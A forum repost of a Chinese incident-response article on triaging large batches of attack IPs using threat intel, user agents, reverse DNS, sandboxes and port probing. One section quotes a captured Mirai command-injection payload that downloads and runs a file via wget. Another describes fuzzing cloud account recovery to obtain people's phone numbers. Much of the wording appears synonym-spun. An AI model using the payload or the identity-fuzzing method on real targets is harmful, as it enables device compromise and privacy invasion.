1fy07h 发表于 2024-8-25 22:06:56

海量攻击IP有效溯源定性

<span style="color: black;"><strong style="color: blue;">点击蓝字</strong></span><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatAZ0n1p0g2yv76wCNQugkdbERSlhKzKL8icc3FvWzA5a9chGOlhLzDcDA/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"><span style="color: black;"><strong style="color: blue;">关注<span style="color: black;">咱们</span></strong></span><span style="color: black;">嗨，我是<strong style="color: blue;">Phobos</strong>，我又回来了。</span><span style="color: black;">近期各地攻防演练的频率越来越高，投入越来越大，<span style="color: black;">非常多</span>攻防时需要做的工作<span style="color: black;">亦</span><span style="color: black;">逐步</span>纳入<span style="color: black;">平常</span>运营中，<span style="color: black;">针对</span><span style="color: black;">平常</span>的攻击的IP溯源<span style="color: black;">需要</span><span style="color: black;">亦</span>越来越频繁。<span style="color: black;">然则</span><span style="color: black;">平常</span>攻击IP<span style="color: black;">常常</span>数量很大，<span style="color: black;">经过</span><span style="color: black;">各样</span>安全设备导出的攻击IP<span style="color: black;">更加是</span>成百上千，<span style="color: black;">那样</span><span style="color: black;">怎样</span><span style="color: black;">有效</span>快速的对成百上千的攻击IP进行溯源定性呢？下面我总结了<span style="color: black;">有些</span>小技巧，便于<span style="color: black;">大众</span>参考。（在溯源过程中<span style="color: black;">必定</span>要灵活<span style="color: black;">运用</span><span style="color: black;">各样</span>方式，切忌生搬硬套。）</span><span style="color: black;"><strong style="color: blue;">NO.</strong><strong style="color: blue;">0</strong></span><span style="color: black;"><strong style="color: blue;"><span style="color: black;">前期梳理</span></strong></span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">首要</span><span style="color: black;">咱们</span>拿到的原始数据是各式各样的，有的有告警信息，有的有攻击详情等等，<span style="color: black;">这儿</span><span style="color: black;">咱们</span>只需要把IP复制到Excel<span style="color: black;">或</span>txt文档中，复制到哪里看个人习惯，我<span style="color: black;">这儿</span>随机找了<span style="color: black;">有些</span>ip为<span style="color: black;">大众</span>做演示。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatAic87agAdMsLmjiaYicGySmAz1uNqsDM9tZht6s4YM6a87thiad9GKwfUfQ/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;">拿到IP以后，<span style="color: black;">咱们</span>要做的<span style="color: black;">便是</span>排序和去重，<span style="color: black;">由于</span>IP来自于<span style="color: black;">区别</span>的设备<span style="color: black;">非常多</span>其实是重复的。7000多个ip排序去重后<span style="color: black;">仅有</span>613个。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatArSoqsQkgxLlgByTFxHczGibMo4LgxlpQayBVG9PAXyInzvu1xcx5znw/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;">对所有IP进行一个划分，以C段为划分，统计一下<span style="color: black;">每一个</span>C段有多少个IP，有的C段<span style="color: black;">全部</span>段都是同一<span style="color: black;">行径</span>特征，方便快速定性。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/MiaY03ejWWF850FUYzyuhn4E6RFksgatA9ktXcibskSXGTW2ZZxpqFYtMOk8GjM3J4oW2c3aGO62XnAFukWibVxdg/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;">整理完IP后，<span style="color: black;">能够</span><span style="color: black;">经过</span>X情报社区先批量查一波，判定IP<span style="color: black;">是不是</span>为恶意，<span style="color: black;">亦</span><span style="color: black;">能够</span>剔除<span style="color: black;">有些</span>白名单，<span style="color: black;">倘若</span><span style="color: black;">无</span>批量<span style="color: black;">查找</span>，<span style="color: black;">能够</span>跳过这一步，直接进入Tips。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatAL02sZxw5w2Ms7kp2YqTX3PYsnJl0gu1oHiaXfZWRIg8UwDoD9SxCxsA/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;"><strong style="color: blue;">NO.</strong><strong style="color: blue;">1</strong></span><span style="color: black;"><strong style="color: blue;"><span style="color: black;">搜索引擎大法</span></strong></span><span style="color: black;">以IP115.179.37.x为例，该段共有79个ip，如此<span style="color: black;">海量</span>IP搜索引擎<span style="color: black;">通常</span>会有<span style="color: black;">有些</span>记录。<span style="color: black;">经过</span>分析为百度爬虫。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatAHkcJ8MZ056AHSKHY0gS94KickxYQbAFNCvUZtVtcnmF6llppJR7ho2A/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatAeHV329KrNgvQaXULR9tcibgacpyOeicCpPicV3hCz4fUNEhnOIdtiaAwJQ/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;"><strong style="color: blue;">NO.</strong><strong style="color: blue;">2</strong></span><span style="color: black;"><strong style="color: blue;"><span style="color: black;">UA大法</span></strong></span><span style="color: black;"><span style="color: black;">经过</span>UserAgent来获取定位信息，当然UA是<span style="color: black;">能够</span>伪造的，<span style="color: black;">办法</span>是灵活使用综合定位的，切勿生搬硬套。</span><span style="color: black;"><span style="color: black;">经过</span>X情报社区获取该IP近期<span style="color: black;">行径</span>，获取到如下UserAgent信息。</span><span style="color: black;">IP 116.179.37.X的UA[\"Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)\"]}为百度蜘蛛。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatA610TlCicFbiaRnrDgLzaX2wBc0eZgr2TFhTRTrFapgjkz2Z0AKOgrJPA/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatANDfWGzcXT1d1GM07Z7JfM7ic4ApSzz49KOnw60TYjhMkcbibOG1p1Asg/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;">IP 198.235.24.x的UA{\"User-Agent\":[\"Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers\\u0026#39; presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com\"]}为paloaltonetworks扫描IP。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatAgJxTgznuAg0qWHpTjGlr6mvoooaPmW7IjTxxyUxFZLGh4I5IibcT8dw/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;"><strong style="color: blue;">NO.</strong><strong style="color: blue;">3</strong></span><span style="color: black;"><strong style="color: blue;"><span style="color: black;">X标签大法</span></strong></span><span style="color: black;"><span style="color: black;">经过</span>X情报社区的标签，<span style="color: black;">能够</span>确定为搜索引擎爬虫。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatANwiagickzh3KLsXicaNcedVicK1f7icMFibiavVTWvtEB1Z6FVp8JMOmr7VkA/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;"><strong style="color: blue;">NO.</strong><strong style="color: blue;">4</strong></span><span style="color: black;"><strong style="color: blue;"><span style="color: black;">IP信息搜集法</span></strong></span><span style="color: black;"><span style="color: black;">经过</span>IP信息网站来确定IP归属,<span style="color: black;">能够</span>得到hostname信息。</span><span style="color: black;">hostname:"baiduspider-116-179-37-122.crawl.baidu.com"</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatAIicDeXrO1QKhMVqmSicRWVclU29HWRp8sWWA97mvVDWYwRSicqAFnOsFQ/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;"><span style="color: black;">查找</span>该域名解析，确定baiduspider-116-179-37-122.crawl.baidu.com解析到116.179.37.122，基本确定为百度蜘蛛。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/MiaY03ejWWF850FUYzyuhn4E6RFksgatAFZWhN1J0iau1aRyy83a1oo8P11UeU3op7mYqH2flbeEzP53vZ20ykPA/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;"><strong style="color: blue;">NO.</strong><strong style="color: blue;">5</strong></span><span style="color: black;"><strong style="color: blue;"><span style="color: black;">直接<span style="color: black;">拜访</span>法</span></strong></span><span style="color: black;"><span style="color: black;">能够</span>直接<span style="color: black;">拜访</span><span style="color: black;">关联</span>ip，<span style="color: black;">能够</span>获取到<span style="color: black;">有些</span>信息，如IP164.92.192.165<span style="color: black;">拜访</span>后<span style="color: black;">表示</span>为leakix网络扫描探针。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/MiaY03ejWWF850FUYzyuhn4E6RFksgatAeBdNo4Ul4sv0wcb3XI44UCcib7F2x49fyfw2NbYiaOtGQgOVJiblqSoxw/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatAibasN5uUkcvxHhrRRV9RtfL0YjvFEkJ8vbzyzrYic3gxickOGBntEkRnw/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;"><strong style="color: blue;">NO.</strong><strong style="color: blue;">6</strong></span><span style="color: black;"><strong style="color: blue;"><span style="color: black;">攻击数据包分析大法</span></strong></span><span style="color: black;"><span style="color: black;">经过</span>IP画像可获取到历史数据包信息，并进行定位溯源。如IP111.53.145.x<span style="color: black;">经过</span>IP画像<span style="color: black;">能够</span>基本确定已感染僵尸网络，并对外进行自动化攻击，以金字塔形式进行传播。攻击中<span style="color: black;">包括</span>（"XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=`busybox+wget+http://***/bin+-O+/tmp/gaf;sh+/tmp/gaf`&amp;ipv=0"）其中busybox+wget+http://***/bin+-O+/tmp/gaf;sh+/tmp/gaf为mirai僵尸网络家族。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatA8Gq76cJL1uAxQ1HiaaUfia8b3JMuNIAYo4CJOMRO74IU00Y7Dd8ccEng/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatAjlvQwslEo5BULTCMzut5PREIWxGdmbS3wibLicSRj5V7uelTB2rSMObA/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;"><strong style="color: blue;">NO.</strong><strong style="color: blue;">7</strong></span><span style="color: black;"><strong style="color: blue;"><span style="color: black;"><span style="color: black;">经过</span><span style="color: black;">相关</span>法进行定位分析</span></strong></span><span style="color: black;"><span style="color: black;">例如</span>某些IP云厂商<span style="color: black;">能够</span><span style="color: black;">经过</span>IP找回获取到部分用户名信息。<span style="color: black;">而后</span><span style="color: black;">经过</span>Fuzz获取到手机号等信息。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatASdBicH6nR01YyEcibcia9O2rgNL0Ae7S4Byx0ycoOc1OP1fVN9MQ7mcZQ/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatAvsVr8Up6V9OtK1O4d3BtmkLz5y8sibjKXH6OvQRJfYIb3uaIibCvT7cg/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;"><strong style="color: blue;">NO.</strong><strong style="color: blue;">8</strong></span><span style="color: black;"><strong style="color: blue;"><span style="color: black;">空间测绘大法</span></strong></span><span style="color: black;"><span style="color: black;">经过</span>空间测绘<span style="color: black;">能够</span><span style="color: black;">得到</span>IP的历史开放端口及<span style="color: black;">关联</span>信息，<span style="color: black;">亦</span><span style="color: black;">能够</span>获取到有价值的数据，<span style="color: black;">例如</span><span style="color: black;">能够</span><span style="color: black;">经过</span>443端口查看IP绑定的证书为哪个域名<span style="color: black;">或</span>企业。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatAVvzibj5IZPic8PmeWsxUfB33tPQtALuNnLYftw2YTjiaRrdwlgfxzeAYA/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;"><strong style="color: blue;">NO.</strong><strong style="color: blue;">9</strong></span><span style="color: black;"><strong style="color: blue;"><span style="color: black;">样本定位大法</span></strong></span><span style="color: black;"><span style="color: black;">经过</span>IP到沙箱进行捞取该IP从在<span style="color: black;">那些</span>样本，这些样本的<span style="color: black;">行径</span>及家族是什么。如IP194.55.224.x<span style="color: black;">相关</span>的样本均为Mirai家族。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatANQ3KGyNWgur5I8abb1NgSVQUdEX1nSMlV6yLy1dwz4U09yXOdYnHtA/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;"><strong style="color: blue;">NO.</strong><strong style="color: blue;">10</strong></span><span style="color: black;"><strong style="color: blue;"><span style="color: black;">端口分析大法</span></strong></span><span style="color: black;">如<span style="color: black;">经过</span>对IP194.55.224.x的端口进行探测，<span style="color: black;">发掘</span>其21端口对外开放且<span style="color: black;">能够</span>匿名登陆，<span style="color: black;">经过</span>登陆<span style="color: black;">发掘</span>里面存在大量样本。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_png/MiaY03ejWWF850FUYzyuhn4E6RFksgatA7Yw3vafvWqLtMKdCKbEhLb8OvFxfsEBiac1pYqAL0ngNzGKtxibHASQw/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;"><span style="color: black;">经过</span>沙箱分析均为Mirai家族样本。</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="data:image/svg+xml,%3C%3Fxml version=1.0 encoding=UTF-8%3F%3E%3Csvg width=1px height=1px viewBox=0 0 1 1 version=1.1 xmlns=http://www.w3.org/2000/svg xmlns:xlink=http://www.w3.org/1999/xlink%3E%3Ctitle%3E%3C/title%3E%3Cg stroke=none stroke-width=1 fill=none fill-rule=evenodd fill-opacity=0%3E%3Cg transform=translate(-249.000000, -126.000000) fill=%23FFFFFF%3E%3Crect x=249 y=126 width=1 height=1%3E%3C/rect%3E%3C/g%3E%3C/g%3E%3C/svg%3E" style="width: 50%; margin-bottom: 20px;"></p><span style="color: black;"><strong style="color: blue;">NO.</strong><strong style="color: blue;">11</strong></span><span style="color: black;"><strong style="color: blue;"><span style="color: black;">结语</span></strong></span><span style="color: black;"><span style="color: black;">平常</span>告警中，大部分IP<span style="color: black;">能够</span>分为几种类型，如：空间测绘、web站点探测、爬虫、蜘蛛、僵尸网络、漏洞扫描器，<span style="color: black;">乃至</span>还有的是CDN（<span style="color: black;">非常多</span>人用了CDN，<span style="color: black;">而后</span>未配置XFF<span style="color: black;">关联</span>策略，看到的攻击信息其实是来自于CDN回源），<span style="color: black;">仅有</span>一小部分才是针对性攻击。</span><span style="color: black;"><span style="color: black;">另一</span>很多相同IP<span style="color: black;">每日</span>都能看到，如测绘、爬虫、僵尸网络，这种IP只需要溯源定位一次就<span style="color: black;">能够</span>了，不需要每次都深入分析。</span><span style="color: black;">当然，以上只是技巧的一部分，溯源定性的技巧还有<span style="color: black;">非常多</span><span style="color: black;">非常多</span>，<span style="color: black;">然则</span>不是所有的技巧都能写的，<span style="color: black;">例如</span>水印溯源大法，<span style="color: black;">亦</span>不是所有的IP都能溯源定性的，有的IP<span style="color: black;">便是</span><span style="color: black;">无</span>任何公开信息。但愿以上技巧<span style="color: black;">能够</span>帮<span style="color: black;">大众</span>能够更高效的完成溯源任务。</span><span style="color: black;">最后在提醒一句，在溯源过程中<span style="color: black;">必定</span>要灵活<span style="color: black;">运用</span><span style="color: black;">各样</span>方式，<strong style="color: blue;">多验证、证确认、多<span style="color: black;">累积</span></strong>，<strong style="color: blue;"><span style="color: black;">切忌生搬硬套。</span></strong></span><strong style="color: blue;"><span style="color: black;">- END -</span></strong>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">微</span><span style="color: black;">步应急响应团队为企业客户<span style="color: black;">供给</span>应急响应服务。</span><span style="color: black;">当企业遭遇突发重大安全事件（APT攻击、勒索加密、数据窃取、漏洞攻击、主机被控、钓鱼事件等），微步可<span style="color: black;">供给</span>快速事件定位取证、隔离清除、溯源分析、安全加固等专业安全服务，<span style="color: black;">帮忙</span>企业信息系统在最<span style="color: black;">短期</span>内恢复正常工作，将事件影响降到最低。</span></p><span style="color: black;"><span style="color: black;">倘若</span><span style="color: black;">出现</span>安全事件，可联系微步应急响应团队，联系方式：<strong style="color: blue;">400-030-1051</strong></span><img src="data:image/svg+xml,%3C%3Fxml version=1.0 encoding=UTF-8%3F%3E%3Csvg width=1px height=1px viewBox=0 0 1 1 version=1.1 xmlns=http://www.w3.org/2000/svg xmlns:xlink=http://www.w3.org/1999/xlink%3E%3Ctitle%3E%3C/title%3E%3Cg stroke=none stroke-width=1 fill=none fill-rule=evenodd fill-opacity=0%3E%3Cg transform=translate(-249.000000, -126.000000) fill=%23FFFFFF%3E%3Crect x=249 y=126 width=1 height=1%3E%3C/rect%3E%3C/g%3E%3C/g%3E%3C/svg%3E" style="width: 50%; margin-bottom: 20px;">
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">转发，点赞，在看，安排一下？</p><span style="color: black;">1. 内容转载，请<span style="color: black;">微X</span>后台留言：转载+转载平台</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">2. 内容引用，请注明出处：以上内容引自公众号“微步在线应急响应团队”</span></p>




星☆雨 发表于 2024-9-10 01:54:25

楼主继续加油啊！外链论坛加油！

m5k1umn 发表于 2024-11-13 15:55:33

我完全同意你的观点，说得太对了。
页: [1]
查看完整版本: 海量攻击IP有效溯源定性